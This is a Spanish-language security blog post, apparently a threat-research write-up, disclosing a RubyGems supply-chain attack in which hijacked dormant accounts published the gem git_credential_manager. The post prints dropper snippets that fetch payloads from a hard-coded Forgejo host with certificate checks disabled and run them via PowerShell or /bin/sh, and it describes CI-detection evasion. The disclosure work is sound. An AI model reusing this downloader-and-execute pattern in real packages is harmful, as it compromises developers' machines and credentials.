No es habitual que se produzca un ataque a la cadena de suministro de RubyGems. Pero, con las vacaciones de verano en pleno apogeo, quizá deberíamos haberlo visto venir. Aun así, fue toda una sorpresa cuando esta mañana abrí la cola de triaje y me encontré con un nuevo paquete sospechoso esperándome.
Una nueva joya llamada git_credential_manager se publicaron cuatro versiones en rápida sucesión. A primera vista, lo único que parecía hacer era descargar algunos archivos binarios de un servidor que nunca había visto antes. Seguro que eso no podía ser malicioso… ¿verdad?
Archivos binarios aleatorios
El paquete llamó la atención de inmediato porque simplemente descargaba archivos binarios de un repositorio de Git alojado en https://git.disroot[.]org/git-ecosystem/.
git.disroot[.]org es una instancia pública de Forgejo en la que cualquiera puede crear repositorios. Alguien se había registrado, muy oportunamente, con el nombre de usuario git-ecosistema, lo que hace que el proyecto parezca lo suficientemente legítimo como para evitar sospechas inmediatas.
En el repositorio no había más que archivos binarios, algunos comprimidos en formato ZIP. Cuando enviamos uno de ellos a VirusTotal, los fabricantes de antivirus no tardaron en marcarlo como malicioso.
¿En qué se ha convertido el mundo si ni siquiera podemos confiar en el «ecosistema Git»? /s
No es precisamente sutil, una vez que te fijas
Si analizamos las cuatro versiones por separado, se puede ver cómo se va construyendo el mecanismo de lanzamiento en tiempo real a lo largo de unas nueve horas, repartidas en dos sesiones.
Versión 2.8.0 Ya funcionaba perfectamente como dropper desde el primer día: se generaba una URL con ese host de Forgejo codificado de forma fija, se recuperaba con la verificación de certificados desactivada explícitamente y se enviaba la carga útil directamente a un shell o a PowerShell:
def base_url
"https://git.disroot.org/git-ecosystem/#{product}/raw/branch/main"
end
http.verify_mode = OpenSSL::SSL::VERIFY_NONE # Desactivar la verificación SSLsi goos == "windows"
Process.spawn("powershell -ExecutionPolicy bypass \"#{full_path}\"")
else
Process.spawn("/bin/sh \"#{full_path}\"")
fin
Versión 2.8.1, 24 minutos más tarde, cambió exactamente una cosa: redirigió la salida de la ejecución de Unix a /dev/null. No se trata de una nueva funcionalidad, sino simplemente de una más silenciosa. Alguien estaba observando la salida de la consola de su propio malware y decidió que era demasiado ruidosa.
A continuación hay un intervalo de ocho horas, presumiblemente para dormir, antes de la versión 2.8.2 A la mañana siguiente se produce la escalada real: el instalador se integra directamente en la ruta de carga de la gema, de modo que basta con Requerir-ando git_credential_manager (sin instalar ningún binario, sin ejecutar nada de forma explícita, simplemente cargando la biblioteca) basta para poner todo en marcha. Y en esa misma versión, la línea que ejecuta el script descargado aparece comentada. Diecisiete minutos más tarde, la versión 2.8.3 lo descomenta. Un solo carácter, y el dropper pasa de estar en fase de prueba a estar en producción.
También hay una comprobación «skip_install?» que busca unas 30 variables de entorno propias de plataformas de CI, como GitHub Actions, GitLab CI, CircleCI, Travis, Jenkins y Vercel, y no realiza ninguna acción si detecta alguna de ellas. Se ha diseñado así para evitar deliberadamente los servidores de compilación. Se busca que se utilicen los portátiles de los desarrolladores, no ejecutores de CI desechables.
Otros paquetes afectados
A continuación, eché un vistazo a la cuenta de la editorial y me di cuenta de que tenían otras joyas. Algunas no se habían actualizado desde 2019, mientras que otras habían recibido de repente nuevos lanzamientos ayer y hoy.
El más destacado fue Dendreo, publicado por primera vez en 2017. Aproximadamente al mismo tiempo que git_credential_manager, aparecieron dos nuevas versiones. Como era de esperar, el atacante había añadido git_credential_manager como dependencia, lo que permitió que la carga maliciosa se propagara entre los usuarios existentes.
Y lo que es aún más preocupante, el atacante también publicó una nueva versión de fastlane-plugin-run_tests_firebase_testlab, un proyecto que no tiene nada que ver con 574 661 descargas en total. A diferencia de las demás «gems» afectadas, esta pertenecía a un responsable del mantenimiento totalmente distinto, lo que sugiere que la intrusión se extendió más allá de una sola cuenta.
La verdadera lección que podemos extraer de esto
Hemos informado de numerosos incidentes en npm y PyPI similares a este. RubyGems se ha mantenido al margen de esa tendencia en su mayor parte, y no hemos podido encontrar ningún caso anterior en el que dos cuentas de mantenedores, sin relación entre sí y inactivas desde hacía mucho tiempo, se reactivaran con pocas horas de diferencia para introducir la misma dependencia en gemas en las que la gente ya confiaba. Por lo que sabemos, esta es la primera vez que RubyGems se enfrenta realmente a lo que npm y PyPI llevan más de un año soportando.
Una cuenta de RubyGems que lleva inactiva seis o siete años no parece suponer ningún riesgo para nadie. Ese es precisamente el perfil que vale la pena hacerse con él. De ahí viene el nombre de «SleeperGem»: no se trata de un activo de ataque plantado a largo plazo, sino de una cuenta real y corriente que simplemente había quedado inactiva y parecía lo suficientemente inofensiva como para secuestrarla sin que nadie se diera cuenta.
Hasta ahora se han suspendido dos cuentas en un registro que, hasta ahora, había logrado evitarlo en su mayor parte. Esperemos que esto no se convierta en una tendencia.
